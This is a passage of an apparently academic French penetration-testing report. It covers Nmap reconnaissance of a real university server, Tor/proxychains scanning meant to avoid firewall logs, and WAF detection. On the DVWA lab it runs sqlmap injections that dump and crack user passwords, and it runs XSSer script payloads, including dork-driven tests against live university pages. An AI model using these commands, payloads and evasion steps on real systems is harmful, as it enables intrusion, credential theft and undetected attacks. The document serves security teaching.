OpenSSH, version 5.9p1, qui implémente le protocole SSHv2. Le système de service n a pas pu être bien détecté, donc il affiche plusieurs choix. La ligne OS CPE contient les systèmes d exploitation en notation standardisée CPE ( Common Platform Enumeration ). En plus, Nmap met à notre disposition le Nmap Scripting Engine (NSE), qui est un système pour écrire des scripts en langage Lua pour étendre ou compléter les fonctions de base. Il y a plus des 350 scripts qui ont été développé et il sont organisés en 12 catégories : auth, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, vuln. La liste et la documentation officielle se trouvent à : http://nmap.org/nsedoc/. Avec l option script on peut spécifier quelques catégories de scripts à essayer. Dans l exemple suivant, le script broadcast-avahi-dos essaie de découvrir les hôtes dans le réseau local en utilisant le protocole DNS-SD (Service Discovery), et envoye un paquet NULL UDP pour tester s ils sont vulnérables à une attaque Denial of Service (DoS). Le script http enum essaie de traverser les répertoires de l application Web et de découvrir ses fichiers, par exemple robots.txt. La commande pour faire un balayage Nmap en recherchant avec les scripts spécifiquement des vulnérabilités sur les services actifs (et en faisant aussi plus des tests de version) est : COLLECTE D INFORMATIONS page 14 sur 41
root@bt : # nmap sv script version, vuln p 1 65535 T4 swift.prism.uvsq. fr Starting Nmap 5.61TEST4 ( http ://nmap. org ) at 2012 05 04 14:44 CEST Pre scan script result s : broadcast avahi dos : Discovered hosts : 192.168.1.31 After NULL UDP avahi packet DoS (CVE 2011 1002). Hosts are a l l up ( not vulnerable ). Nmap scan report for swift. prism. uvsq. fr (193.51.25.208) Host is up (0.063 s latency ). Not shown : 65516 f i l t e r e d ports PORT STATE SERVICE VERSION 20/ tcp closed ftp data 21/ tcp closed ftp 22/ tcp open ssh OpenSSH 5.9p1 Debian 4 ( protocol 2.0) 23/ tcp closed telnet 53/ tcp closed domain 80/ tcp open http Apache httpd 2.2.16 http enum: / robots. txt : Robots f i l e /crossdomain. xml : Adobe Flash crossdomain policy 110/ tcp closed pop3 113/ tcp closed ident 143/ tcp closed imap 220/ tcp closed imap3 443/ tcp closed https 585/ tcp closed unknown 873/ tcp closed rsync 993/ tcp closed imaps 995/ tcp closed pop3s 1935/tcp closed rtmp 2401/tcp open http Apache httpd 2.2.16 (( Debian )) 5999/tcp open http Apache httpd 2.2.16 http enum: / robots. txt : Robots f i l e /kusabax/manage page. php : Kusabax Image Board 46015/tcp closed unknown Service Info : OS: Linux ; CPE: cpe :/o: linux : kernel Service detection performed. Please report any incorrect results at http ://nmap. org/submit/. Nmap done: 1 IP address (1 host up) scanned in 791.87 seconds Les méthodes de scanner les machines montrées jusqu à maintenant sont intrusives, c est-à-dire elles communiquent directement avec la cible, et elles envoient beaucoup des paquets spécifiques pour découvrir ses services, ses vulnérabilités etc., qui peuvent être détectés par les pare-feu. Nmap possède plusieurs options pour masquer l opération de balayage - en tenant compte du fait que le balayage de ports est illégale dans certains pays et alors apparaître dans les journaux des paquets des pare-feu est indésirable. Une présentation excellente des techniques pour dépasser les vérifications des pare-feu et des exemples pour se défendre contre Nmap se trouve dans le chapitre 10 Detecting and Subverting Firewalls and Intrusion Detection Systems et le chapitre 11 Defenses Against Nmap du guide officiel Nmap Network Scanning [Lyo08]. Néanmoins, il existe une autre façon de faire les balayages de ports et de préserver notre anonymat en même temps. Il faut d abord installer le logiciel Tor, qui n est pas compris par défaut dans la suite des outils de la distribution Backtrack - le guide d installation se trouve à https://www.torproject.org/docs/debian.html.en; pour Backtrack 5 R2 le champ DISTRIBUTION doit être remplacé par lucid. Tor met à notre disposition un réseau de serveurs proxy qui obscurcit la route de nos paquets par des moyens cryptographiques. On vérifie que Tor a été bien installé : root@bt : # netstat tulnp grep tcp tcp 0 0 127.0.0.1:7337 0.0.0.0: LISTEN 1083/ postgres tcp 0 0 127.0.0.1:5432 0.0.0.0: LISTEN 828/ postgres tcp 0 0 127.0.0.1:9050 0.0.0.0: LISTEN 1101/ tor et on observer qu il est actif sur le port 9050. Ensuite, dans Backtrack 5 R2 on a l outil proxychains qui envoie les paquets générés de la commande qu il prend comme paramètre au serveur proxy configuré. Par défaut la configuration estdéjàmiseenplacepourtor,doncilnousrestejuste d exécuterunbalayagedeportsenutilisantproxychains: COLLECTE D INFORMATIONS page 15 sur 41
root@bt : # proxychains nmap Pn n sv version all 193.51.25.208 ProxyChains 3.1 ( http :// proxychains. sf. net ) Starting Nmap 5.61TEST4 ( http ://nmap. org ) at 2012 05 04 12:07 CEST S c h a i n <> 127.0.0.1:9050 <><> 193.51.25.208:22 <><> OK S c h a i n <> 127.0.0.1:9050 <><> 193.51.25.208:80 <><> OK S c h a i n <> 127.0.0.1:9050 <><> 193.51.25.208:2401 <><> OK S c h a i n <> 127.0.0.1:9050 <><> 193.51.25.208:5999 <><> OK S c h a i n <> 127.0.0.1:9050 <><> 193.51.25.208:80 <><> OK S c h a i n <> 127.0.0.1:9050 <><> 193.51.25.208:5999 <><> OK S c h a i n <> 127.0.0.1:9050 <><> 193.51.25.208:2401 <><> OK S c h a i n <> 127.0.0.1:9050 <><> 193.51.25.208:5999 <><> OK S c h a i n <> 127.0.0.1:9050 <><> 193.51.25.208:2401 <><> OK Nmap scan report for 193.51.25.208 Host is up (0.088 s latency ). Not shown : 984 f i l t e r e d ports PORT STATE SERVICE VERSION 20/ tcp closed ftp data 21/ tcp closed ftp 22/ tcp open ssh OpenSSH 5.9p1 Debian 4 ( protocol 2.0) 23/ tcp closed telnet 53/ tcp closed domain 80/ tcp open http Apache httpd 2.2.16 110/ tcp closed pop3 113/ tcp closed ident 143/ tcp closed imap 443/ tcp closed https 873/ tcp closed rsync 993/ tcp closed imaps 995/ tcp closed pop3s 1935/tcp closed rtmp 2401/tcp open http Apache httpd 2.2.16 (( Debian )) 5999/tcp open http Apache httpd 2.2.16 Service Info : Host : swift. prism. uvsq. fr ; OS: Linux ; CPE: cpe :/o: linux : kernel Service detection performed. Please report any incorrect results at http ://nmap. org/submit/. Nmap done: 1 IP address (1 host up) scanned in 51.83 seconds La limitation de cette méthode est que Tor anonymise seulement les paquets TCP, rien de plus, donc pour préserver notre anonymat il faut utiliser l option -Pn pour désactiver l envoie par défaut des paquets ICMP pour découvrir si l hôte est actif, et l option -n pour ne pas faire la résolution DNS inverse, qui pourrait envoyer des paquets UDP. On voit qu on a les mêmes résultats comme avant, mais en plus on voit que proxychains a fonctionné bien (les lignes S-chain ). On a utilise l option version-all pour faire tous les tests, même les plus agressifs, pour découvrir les services et leurs versions, parce que le risque d être détecté par un pare-feu n existe plus. Banner grabbing La méthode de récupération de bannières applicatives (banner grabbing) est souvent utilisé pour trouver la version des systèmes d exploitation ou des services réseau actifs sur les serveurs HTTP, SMTP, SSH, FTP, etc. HTTSquash HTTSquash est un outil minimale pour faire les banner grabbing des serveurs Web. On a déjà vu les versions du serveurs HTTP trouvés avec Nmap sur la machine 193.51.25.208, mais il vaut mieux vérifier avec HTTSquash pour voir quels sont les en-têtes HTTP en fait. Dans l exemple suivant on voit que cette fois les serveurs sur les ports 80 et 5999 disent qu ils utilisent Happstack/6.0.3, tandis que avec Nmap on a obtenu Apache 2.2.16 : COLLECTE D INFORMATIONS page 16 sur 41
root@bt :/ pentest / scanners/httsquash#./ httsquash r swift. prism. uvsq. fr p 80 FOUND: 193.51.25.208 80 HTTP/1.1 200 OK Date : Sun, 06 May 2012 08:46:53 GMT Server : Happstack /6.0.3 Content Type : text /html ; charset=utf 8 Vary : Accept Encoding Transfer Encoding : chunked root@bt :/ pentest / scanners/httsquash#./ httsquash r swift. prism. uvsq. fr p 2401 FOUND: 193.51.25.208 2401 HTTP/1.1 302 Found Date : Sun, 06 May 2012 08:46:49 GMT Server : Apache /2.2.16 ( Debian ) Location : https :// cas dev. uvsq. fr / login? service=http%3a%2f%2fsw ift. prism. uvsq. fr%3a2401%2f Vary : Accept Encoding Content Length : 345 Content Type : text /html ; charset=iso 8859 1 root@bt :/ pentest / scanners/httsquash#./ httsquash r swift. prism. uvsq. fr p 5999 FOUND: 193.51.25.208 5999 HTTP/1.1 200 OK Date : Sun, 06 May 2012 08:46:51 GMT Server : Happstack /6.0.3 Content Type : text /html ; charset=utf 8 Vary : Accept Encoding Transfer Encoding : chunked Avec HTTSquash on peut aussi scanner une plage d adresses IP pour voir quels type de serveurs Web sont utilisés; donc, sur la liste des adresses IP trouvée au début avec Nmap on exécute : root@bt :/ pentest / scanners/httsquash#./ httsquash r 193.51.25.1 254 p 80 FOUND: 193.51.25.15 80 HTTP/1.1 200 OK Cache control : no cache Content Type : application /octet stream HTTP/1.0 200 OK Connection : close Content Length : 181 Content Type : text /html FOUND: 193.51.25.104 80 HTTP/1.1 200 OK Date : Sun, 06 May 2012 08:54:33 GMT Server : Apache /2.2.11 ( Debian ) DAV/2 SVN/1.5.6 PHP/5.2.9 4 with Suhosin Patch mod ssl /2.2.11 OpenSSL/0.9.8 k Last Modified : Fri, 13 Mar 2009 15:17:00 GMT ETag: 4ba63 13 46501979f1300 Accept Ranges : bytes Content Length : 19 Content Type : text /html Détection de Web Application Firewall (WAF) Alors que lespare-feu surune machine ne filtrent le trafic de réseauqu en se basantsurun ensemblede règlesfixes, sans analyser le contenu des paquets, les pare-feu pour les application Web fonctionne à un niveau supérieur, et peuvent analyser les requêtes HTTP reçues - pour accepter seulement ceux qui ne correspondent pas aux attaques XSS ou SQL injection par exemple, peuvent détecter un balayage de ports qui précède une attaque et enregistrer même le contenu des requêtes reçus etc. À l heure actuelle un pare-feu d application Web peut être déployé sur un serveur Web, intégré dans l application, ou sur un proxy inverse qui gére une plage des serveurs Web. Il existe aussi l option d installer un tel pare-feu distribué, ils sont appelées dwaf, distributed WAF et ils consistent de plusieurs composants qui peuvent exister dans les différentes regions d un réseau, ou d utiliser un service cloud - plusieurs entreprises mettent à disposition des WAF virtuels, cloud-based WAFs, dont la seule modification pour le client est d acheminer leur trafic vers les serveurs de l entreprise. waffit Sous Backtrack 5 il existe plusieurs outils pour la détection des pare-feu, mais pour les pare-feu d applications Web on COLLECTE D INFORMATIONS page 17 sur 41
va utiliser waffit. En l exécutant avec option -l il peut nous dire quels sont les WAFs dont il supporte la détection, et on trouve les noms bien-connus comme ModSecurity, Imperva etc. Si on l exécute en ciblant le site d avant, qui nous a donne de différents résultats pour son serveur Web, on voit qu il et protégé par un WAF : root@bt :/ pentest /web/ waffit#./wafw00f.py http:// swift.prism.uvsq. fr Checking http :// swift. prism. uvsq. fr Generic Detection r esults : The site http :// swift. prism. uvsq. fr seems to be behind a WAF Reason : The server header is different when an attack is detected. The server header for a normal response is Happstack /6.0.3, while the server header a response to an attack is Apache/2.2.16 (Debian)., Number of requests : 10 COLLECTE D INFORMATIONS page 18 sur 41
Identification des vulnérabilités La deuxième partie principale de notre méthodologie concerne l identification des vulnérabilités en utilisant les informations trouvées jusqu à maintenant. Nous allons utiliser les outils présents dans Backtrack pour voir comment on peut scanner et identifier les failles de manière automatique. On va effectuer les tests sur la Damn Vulnerable Web Application (DVWA) disponible dans le cadre de notre laboratoire de test, pour mettre en évidence les plus importantes failles de sécurité des applications Web. Nmap Premièrement il faut exploiter les informations déjà trouvées : on a identifié quelques services avec Nmap dans la section de reconnaissance active, le pas suivant est de vérifier quelles sont les vulnérabilités pour leurs versions; par exemple, on a vu qu on a un serveur Apache 2.2.16 sur le port 2401 du serveur 193.51.25.208(swift.prism.uvsq.fr), donc une simple recherche avec Google pour cette version nous va montrer que les developpeurs d Apache on fait une page avec les vulnérabilités pour les versions de leur serveur : http://httpd.apache.org/security/vulnerabilities_ 22.html. Une faille d un service est en générale spécifique pour un certain système d exploitation, même pour une certaine architecture de la machine, il est donc conseillé de trouver toutes ces informations pour avoir plus de chances de trouver une vraie faille ou exploit. Pour faire l identification des failles de sécurité d une application Web, il faut d abord trouver la cible de nos tests. On démarre la machine Backtrack et la machine DVWA avec VirtualBox et dans Backtrack on s assure qu elle est en ligne en faisant un scan d identificaton d hôtes actifs avec Nmap : root@bt : # nmap sn og 192.168.1.0/24 # Nmap 5.61TEST4 scan initiated Sun May 6 14:57:48 2012 as : nmap sn og 192.168.1.0/24 Host : 192.168.1.2 ( thegoat. xxx ) Status : Up Host : 192.168.1.3 ( mephisto laptop.home) Status : Up Host : 192.168.1.4 (dvwa.home) Status : Up Host : 192.168.1.254 ( gestionbbox. lan. home) Status : Up # Nmap done at Sun May 6 14:57:50 2012 256 IP addresses (4 hosts up) scanned in 2.53 seconds La machine 192.168.1.4(dvwa.home) est en ligne. Avec Nmap on fait un scan de type TCP SYN pour voir si le serveur Apache est disponible sur cette machine : root@bt : # nmap T4 open 192.168.1.4 Starting Nmap 5.61TEST4 ( http ://nmap. org ) at 2012 05 06 15:04 CEST Nmap scan report for dvwa.home (192.168.1.4) Host is up (0.00072 s latency ). Not shown : 995 closed ports PORT STATE SERVICE 21/ tcp open ftp 22/ tcp open ssh 80/ tcp open http 443/ tcp open https 3306/tcp open mysql MAC Address : 08:00:27:B2:16:0A (Cadmus Computer Systems) Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds Avec l option open Nmap nous montre seulement les ports ouverts. Le serveur HTTP est disponible sur le port 80, donc on ouvre une fenêtre dans un navigateur comme Firefox sous Backtrack et on accède l adresse : 192.168.1.4 :80. L application DVWA est disponible, mais avant de se connecter sur la première page, comme montré dans la section??, on va utiliser un proxy d interception. IDENTIFICATION DES VULNÉRABILITÉS page 19 sur 41
Proxy d interception Un proxy d interception est un logiciel qui constitue un intermédiaire entre le navigateur Web et la connexion vers un réseaux cible. Les connexions établies par le navigateur sont redirigés à travers le proxy permettant d avoir le contrôle total sur le trafic des requêtes : on peut manipuler les requêtes HTTP avant qu elles ne soient envoyées au serveur Web, on peut modifier une requête et la répéteravec des valeurs des champs modifiés, on peut comparer deux réponses du serveur pour voir les différences suite à deux requêtes presque identiques, et ainsi de suite. Burp Suite - Proxy Burp Suite est un outil dans Backtrack qui offre un proxy d interception utile pour les tests de sécurité des applications Web. Ce proxy permet d intercepter le trafic HTTP/HTTPS dans les deux directions, d analyser tout type de contenu, de modifier des requêtes et de les renvoyer (manuellement ou automatiquement en définissant). Le proxy Burp peut être utilisé pour effectuer des interceptions de cookie, ou des attaques comme les injections SQL et les détournement de session. Il existe une documentation détaillé sur le site officiel : http://www.portswigger.net/burp/help/proxy. html Ce qui est important en premier lieu, pour les tests qu on effectue sur DVWA c est de capturer les cookies générés. En effet, l application demande un login/mot de passe pour y avoir l accès. C est donc dans cette perspective qu il est utile de se connecter à travers le proxy Burp à l application DVWA afin d intercepter ces cookies pour les réutiliser dans nos tests plus tard. Il existe deux modes spécifiques à Burp : L interception à on : Burp Suite attend une action sur la requête à envoyer : forward, drop, action particulières (envoie vers le répéteur, scanner, etc.). C est très utile si on veut par exemple modifier une requête avant de l envoyer pour tester. L interception à off : Burp Suite va capturer le trafic en mode passif, c est-à-dire qu aucune action n est demandée à l utilisateur. D abord avant de se connecter à travers le proxy Burp, il faudra régler le navigateur Mozilla pour qu il utilise notre proxy en spécifiant l adresse 127.0.0.1 et le port 8080 (le port par défaut de Burp Suite) dans le menu Edit - > Preferences -> Advanced -> Network -> Settings -> Manual proxy configuration. Une fois ces paramétrages effectués on lance le proxy Burp (en mode interception à off ), on lance le navigateur et on accède à DVWA avec les informations admin/password. Figure 2 Interception de cookies avec le proxy Burp IDENTIFICATION DES VULNÉRABILITÉS page 20 sur 41
On remarque dans le tableau l historique des requêtes envoyées/reçu par le navigateur avec des informations concernant le serveur cible et le numéro de port, la méthode HTTP, l URL, si la demande contient les paramètres ou a été modifié manuellement, le code d état HTTP de la réponse, la taille de la réponse en octets, le type MIME de la réponse, le type de fichier de la ressource demandée, le titre de la page HTML, si SSL est utilisé, l adresse IP distante, les cookies définis par le serveur, et quand la requête a été envoyé. En observant les paramètres envoyés par le navigateur au serveur, on extrait le cookie qui nous servira pour les tests. IDENTIFICATION DES VULNÉRABILITÉS page 21 sur 41
SQL Injection L injection du code est peut-être la plus populaire vulnérabilité sur les sites Web aujourd hui, étant classifiée comme le premier risque de sécurité pour les applications Web, selon le classement des risques de sécurité maintenu par l organisation OWASP: https://www.owasp.org/index.php/top_10_2010-main. L injection du code SQL fait partie de cette classe des vulnérabilités (il existe des injection des commandes systèmes, de requêtes LDAP etc.), et elle consiste de modifier les paramètres d une requête SQL envoyés au serveur Web, en essayant de faire le serveur exécuter la requête malformée, qui contient des commandes SQL en plus. Figure 3 SQL injection sqlmap Dans Backtrack il existe plusieurs outils pour faire les injections, la plupart d entre eux spécialisés pour un certain type de serveur SQL (MSSQL, Oracle, MySQL, etc.). sqlmap est un outil complexe qui supporte tous ces types de base de données et encore plus, et qui connaît plusieurs techniques d injection SQL. Avant de faire une injection SQL avec sqlmap, il faut capturer un cookie pour qu on puisse se connecter à l application Web et la scanner. On va utiliser un proxy d interception, comme montré dans la section précédente. Il faut après trouver un champ qui est vulnérable à une injection SQL. On le trouve simplement dans le menu SQL Injection du DVWA et on l exécute avec la valeur 1 : IDENTIFICATION DES VULNÉRABILITÉS page 22 sur 41
L application nous montre le nom et prénom d un utilisateur qui a l identifiant 1. Plus important, dans la barre d adresses on voit que notre valeur est envoyée avec une méthode GET dans le champ id=1. On sauvegarde cette adresse avec les paramètres GET aussi. Maintenant qu on a toutes les informations nécessaires (le cookie capturé et la requête vulnérable), on se connecte à l application Web avec sqlmap, afin de voir si on trouve des failles d injection SQL. On utilise la commande : root@bt :/ pentest /database/sqlmap#./sqlmap.py u http ://192.168.1.4/ vulnerabilities/sqli /?id=1&submit= Submit cookie= PHPSESSID=764ri9hjpo9dih3sph6qkacei2 ; security=low dbs [00:35:42] [INFO ] using / pentest /database/sqlmap/output /192.168.1.4/ session as session f i l e [00:35:42] [INFO ] testing connection to the target url [00:35:43] [INFO ] testing if the url is stable, wait a few seconds [00:35:44] [INFO ] url is stable [00:35:44] [INFO ] testing if GET parameter id is dynamic [00:35:56] [INFO ] GET parameter id is MySQL UNION query (NULL) 1 to 10 columns injectable GET parameter id is vulnerable. Do you want to keep testing the others ( if any )? [ y/n] y Nous avons fourni comme options l URL à exploiter trouvé en-dessus et le cookie nécessaire pour se connecter en tant que utilisateur à l application Web. Nous avons également donné l option dbs qui va nous montrer les base de données disponibles sur le serveur MySQL si l injection à réussit. On voit que sqlmap nous dit qu il a trouvé un paramètre vulnérable et nous demande si on veut continuer tester. Normalement nous nous arrêtons ici dans cette partie d identification de vulnérabilités, mais à titre d exemple nous allons continuer pour voir les possibilités de sqlmap - on a écrit y pour confirmer. IDENTIFICATION DES VULNÉRABILITÉS page 23 sur 41
[00:36:38] [WARNING] GET parameter Submit is not injectable sqlmap identified the following injection points with a total of 153 HTTP( s ) requests : Place : GET Parameter : id Type : error based Title : MySQL >= 5.0 AND error based WHERE or HAVING clause Payload : id=1 AND (SELECT 6787 FROM(SELECT COUNT( ),CONCAT(0 x3a756c6e3a,(select (CASE WHEN (6787=6787) THEN 1 ELSE 0 END)),0 x3a6f79723a,floor(rand(0) 2))x FROM INFORMATION SCHEMA.CHARACTER SETS GROUP BY x)a) AND jtyx = jtyx&submit=submit Type : UNION query Title : MySQL UNION query (NULL) 2 columns Payload : id=1 UNION ALL SELECT CONCAT(0 x3a756c6e3a,0 x4c4c7a54494b6b796474,0 x3a6f79723a), NULL# AND QxTJ = QxTJ&Submit=Submit Type : AND/OR time based blind Title : MySQL > 5.0.11 AND time based blind Payload : id=1 AND SLEEP(5) AND RpVw = RpVw&Submit=Submit [00:36:38] [INFO ] the back end DBMS is MySQL web application technology : PHP 5.3.1, Apache 2.2.14 back end DBMS: MySQL 5.0 [00:36:38] [INFO ] fetching database names available databases [6]: [ ] cdcol [ ] dvwa [ ] information schema [ ] mysql [ ] phpmyadmin [ ] test [00:36:39] [INFO ] Fetched data logged to text f i l e s under / pentest /database/sqlmap/output /192.168.1.4 [ ] shutting down at 00:36:39 Le paramètre Submit n est pas injectable, mais l injection SQL a été un succès et on observe qu il existe plusieurs bases de données, dont la plus intéressante est bien sûr dvwa. On exécute à nouveau sqlmap avec deux nouvelles options, -D pour sélectionner seulement la base de données dvwa et l option tables pour voir quels sont les tables disponibles dans dvwa : root@bt :/ pentest /database/sqlmap#./sqlmap.py u http ://192.168.1.4/ vulnerabilities/sqli /?id=1&submit= Submit cookie= PHPSESSID=764ri9hjpo9dih3sph6qkacei2 ; security=low D dvwa tables web application technology : PHP 5.3.1, Apache 2.2.14 back end DBMS: MySQL 5.0 [00:37:25] [INFO ] fetching tables for database : dvwa Database : dvwa [2 tables ] + + guestbook users + + [00:37:25] [INFO ] Fetched data logged to text f i l e s under / pentest /database/sqlmap/output /192.168.1.4 [ ] shutting down at 00:37:25 La table qu on cherche est users, donc on exécute sqlmap avec l option -T pour sélectionner une seule table et l option dump pour enregistrer toute cette table sur le disque : root@bt :/ pentest /database/sqlmap#./sqlmap.py u http ://192.168.1.4/ vulnerabilities/sqli /?id=1&submit= Submit cookie= PHPSESSID=764ri9hjpo9dih3sph6qkacei2 ; security=low D dvwa T users dump web application technology : PHP 5.3.1, Apache 2.2.14 back end DBMS: MySQL 5.0 [00:37:57] [INFO ] fetching columns for table users on database dvwa [00:37:57] [INFO ] fetching entries for table users on database dvwa [00:37:57] [INFO ] analyzing table dump for possible password hashes recognized possible password hashes in column password. Do you want to crack them via a dictionary based attack? [Y/n/q] Y IDENTIFICATION DES VULNÉRABILITÉS page 24 sur 41
sqlmap nous a demandé si on veut essayer de craquer les mots de passe avec son propre fichier dictionnaire, on a accepté et il a réussit aussi, à cause des mots de passe faibles choisis par les utilisateurs. [00:38:02] [INFO ] using hash method md5 generic passwd what dictionary do you want to use? [1] default dictionary f i l e / pentest /database/sqlmap/ txt / wordlist. txt ( press Enter ) [2] custom dictionary f i l e [3] f i l e with l i s t of dictionary f i l e s [00:38:08] [INFO ] using default dictionary [00:38:08] [INFO ] loading dictionary from / pentest /database/sqlmap/ txt / wordlist. txt do you want to use common password suffixes? ( slow!) [ y/n] y [00:38:13] [INFO ] starting dictionary based cracking ( md5 generic passwd ) [00:38:34] [INFO ] cracked password abc123 for user gordonb [00:38:44] [INFO ] cracked password charley for user 1337 [00:39:04] [INFO ] cracked password letmein for user pablo [00:39:14] [INFO ] cracked password password for user admin [00:39:14] [INFO ] postprocessing table dump Database : dvwa Table : users [5 entries ] + + + + + + avatar first name last name password user user id + + + + + + dvwa/hackable/ users /admin. jpg admin admin 5f4dcc3b5aa765d61d8327deb882cf99 ( password ) admin 1 dvwa/hackable/ users /gordonb. jpg Gordon Brown e99a18c428cb38d5f260853678922e03 ( abc123 ) gordonb 2 dvwa/hackable/ users /1337. jpg Hack Me 8d3533d75ae2c3966d7e0d4fcc69216b ( charley ) 1337 3 dvwa/hackable/ users /pablo. jpg Pablo Picasso 0d107d09f5bbe40cade3de5c71e9e9b7 ( letmein ) pablo 4 dvwa/hackable/ users /smithy. jpg Bob Smith 5f4dcc3b5aa765d61d8327deb882cf99 ( password ) smithy 5 + + + + + + [00:39:14] [INFO ] Table dvwa. users dumped to CSV f i l e / pentest /database/sqlmap/output /192.168.1.4/ dump/ dvwa/ users. csv [00:39:14] [INFO ] Fetched data logged to text f i l e s under / pentest /database/sqlmap/output /192.168.1.4 [ ] shutting down at 00:39:14 IDENTIFICATION DES VULNÉRABILITÉS page 25 sur 41
XSS - Cross-site scripting Le cross-site scripting (abréviation XSS) est l une de plus fréquentes failles dans les applications Web d aujourd hui, elle en la deuxième position, après les failles d injection SQL, dans le classement OWASP. XSS est une attaque qui cible le client d un site, et pas ses serveurs Web, dans une première phase. À la base, il consiste de l injection du code de l adversaire dans une page d un site, qui sera ensuite accédé par la victime. Figure 4 XSS non permanent Comme on peut observer dans la figure, l adversaire doit d abord trouver un moyen pour injecter du code dans une page qu il reçoit d un site, donc il doit chercher des pages du site qui lui envoyent les données qu il a écrit sur la page. Par exemple, beaucoup de sites offrent des pages de recherche de documents sur leur site, et souvent elles affichent aussi la chaîne de caractères que l utilisateur a introduit. Si cette chaîne n est pas bien filtrée avant d être affiché sur la page, l adversaire peut introduire du code Javascript qui sera exécuté une fois que la page a été téléchargé par son navigateur. Mais l insertion du code dans ses propres pages ne l aide pas beaucoup, donc l adversaire va chercher de convaincre une victime de visiter sa page modifiée, par les moyens de l ingénierie sociale, en se basant sur les informations qu il a sur la victime. Quand la victime visitera la page, le code Javascript s exécutera et, par exemple, l adversaire peut récupérer le cookie du client sur le site et usurper son identité. L attaque décrite ici s appelle le XSS non permanent ou reflété. Il existe un autre moyen de profiter de failles XSS trouvées sur un site, dont le code sera inclus de façon permanente dans le site. Si le filtrage des données affichées aux clients n est pas bien fait, le code malveillant peut être stocké dans la base de données du site et peut affecter tous les clients qui vont voir ces données dans les pages du site. Par exemple, beaucoup des sites offrent une section de commentaires des articles publiés. Si l adversaire arrive à injecter du code dans un commentaire, tous les clients qui vont voir cette page vont exécuter le code dans leur navigateur Web. Cette attaque, appelé XSS permanent ou stocké, et encore plus dangereux que le précédent, puisque l adversaire n a même pas besoin de convaincre un client de visiter la page, et tous les clients vont être directement affectés. IDENTIFICATION DES VULNÉRABILITÉS page 26 sur 41
Figure 5 XSS permanent XSSer Pour tester si une application Web est vulnerable aux attaques XSS, il existe plusieurs outils dans Backtrack 5, dont on va choisir XSSer. Notre application DVWA possède une page appelée XSS reflected dans le menu à gauche, où on trouve un formulaire avec un champ name, qui une fois envoyé nous montre le message de bienvenue avec le nom rempli dans le champ : On exécute XSSer avec l URL qui contient ce champ (l option -u), pour tester s il est bien filtré, et avec le cookie de notre session, capturé come décrit dans la section [?]. IDENTIFICATION DES VULNÉRABILITÉS page 27 sur 41
root@bt :/ pentest /web/ xsser#./ xsser u http ://192.168.1.4/ vulnerabilities/xss r/?name= cookie= PHPSESSID=aqj721u6hue3jlgm1lg1ooimn1; s e c u r i t y=low auto =========================================================================== XSSer v1.6 ( beta ) : Grey Swarm! 2011/2012 (GPLv3.0) > by psy =========================================================================== Testing [XSS from URL] injections... looks like your target is good defined ;) =========================================================================== HEAD alive check for the target : ( http ://192.168.1.4/ v u l n e r a b i l i t i e s / xss r /?name=) is OK(200) [AIMED] =========================================================================== Target : http ://192.168.1.4/ v u l n e r a b i l i t i e s / xss r /?name= > 2012 05 19 18:40:07.717348 =========================================================================== [ ] Hashing : e05b7e5740485c27fbc7c42a841bd1d4 [+] Trying : http ://192.168.1.4/ v u l n e r a b i l i t i e s / xss r /?name=/ ><SCRIPT>alert ( e05b7e5740485c27fbc7c42a841bd1d4 ) </SCRIPT> [+] Browser Support: [IE7.0 IE6.0 NS8.1 IE] [NS8.1 G FF2.0] [O9.02] [+] Checking: url attack with ><SCRIPT>alert ( PAYLOAD )</SCRIPT >... ok =========================================================================== Mosquito( s) landed! =========================================================================== [ ] Final Results : =========================================================================== Injections : 98 Failed : 83 Sucessfull : 15 Accur : 15 % =========================================================================== [ ] List of possible XSS injections : =========================================================================== [ I ] Target : http ://192.168.1.4/ v u l n e r a b i l i t i e s / xss r /?name= [+] Inj ection : http ://192.168.1.4/ v u l n e r a b i l i t i e s / xss r /?name=/ ><SCRIPT>alert ( e05b7e5740485c27fbc7c42a841bd1d4 ) </SCRIPT> [ ] Method: xss [ ] Browsers : [IE7.0 IE6.0 NS8.1 IE] [NS8.1 G FF2.0] [O9.02] Comme on peut voir, XSSer possède ses propre payloads (la charge utile pour faire le XSS), qu on a spécifié qu il utilise avec l option auto. Il compose les requêtes HTTP en utilisant ces charges utiles et l URL qu on lui a donné au début, et il nous dit ceux qui ont réussi. Il peut parfois donner des faux positifs, donc les résultats sont juste un indice que le paramètre name de la requête HTTP est vulnérable à XSS. XSSer a encore plus des options pour encoder la charge utile pour contourner les mécanismes d échappement des caractères sur un site, pour créer des images ou animations Flash qui contiennent du code malveillant et ainsi de suite, mais une option intéressante est d utiliser une technique appelée dorking pour tester une suite des sites trouvée dans les résultats d un moteur de recherche : IDENTIFICATION DES VULNÉRABILITÉS page 28 sur 41
root@bt :/ pentest /web/ xsser#./ xsser d inanchor : uvsq. fr?index.php?id= =========================================================================== XSSer v1.6 ( beta ) : Grey Swarm! 2011/2012 (GPLv3.0) > by psy =========================================================================== Testing [XSS from Dork ] in jections... good luck ;) =========================================================================== HEAD alive check for the target : ( http ://www. prism. uvsq. fr /index. php? id =125) is OK(200) [AIMED] HEAD alive check for the target : ( http ://www. prism. uvsq. fr /index. php? id =127) is OK(200) [AIMED] =========================================================================== Target : http ://www. prism. uvsq. fr / index. php? id=125 > 2012 05 19 22:35:00.969286 =========================================================================== [ ] Hashing : cfe4bb76c50183662cb085352ff7d8fa [+] Trying : http ://www. prism. uvsq. fr /index. php? id=125/ >cfe4bb76c50183662cb085352ff7d8fa [+] Browser Support: [IE7.0 IE6.0 NS8.1 IE] [NS8.1 G FF2.0] [O9.02] [+] Checking: url attack with >PAYLOAD... f a i l =========================================================================== Target : http ://www. prism. uvsq. fr / index. php? id=127 > 2012 05 19 22:35:00.969286 =========================================================================== [ ] Hashing : 52 c7236418474976e8e0495dfefb9520 [+] Trying : http ://www. prism. uvsq. fr /index. php? id=127/ >52c7236418474976e8e0495dfefb9520 [+] Browser Support: [IE7.0 IE6.0 NS8.1 IE] [NS8.1 G FF2.0] [O9.02] [+] Checking: url attack with >PAYLOAD... f a i l =========================================================================== Mosquito( s) landed! =========================================================================== [ ] Final Results : =========================================================================== Injections : 2 Failed : 2 Sucessfull : 0 Accur : 0 % =========================================================================== [ I ] Could not find any v u lnera bility!. Try another combination or hack it manually :) =========================================================================== Nous avons fourni avec l option -d le dork, c est-à-dire l expression pour faire une recherche avancée dans l adresse URL des sites ( inanchor est pour Bing, le moteur de recherche utilisé par XSSer par défaut, l equivalent de inurl pour Google) et l outil fait les tests XSS sur chaque site qu il trouve dans les résultats. IDENTIFICATION DES VULNÉRABILITÉS page 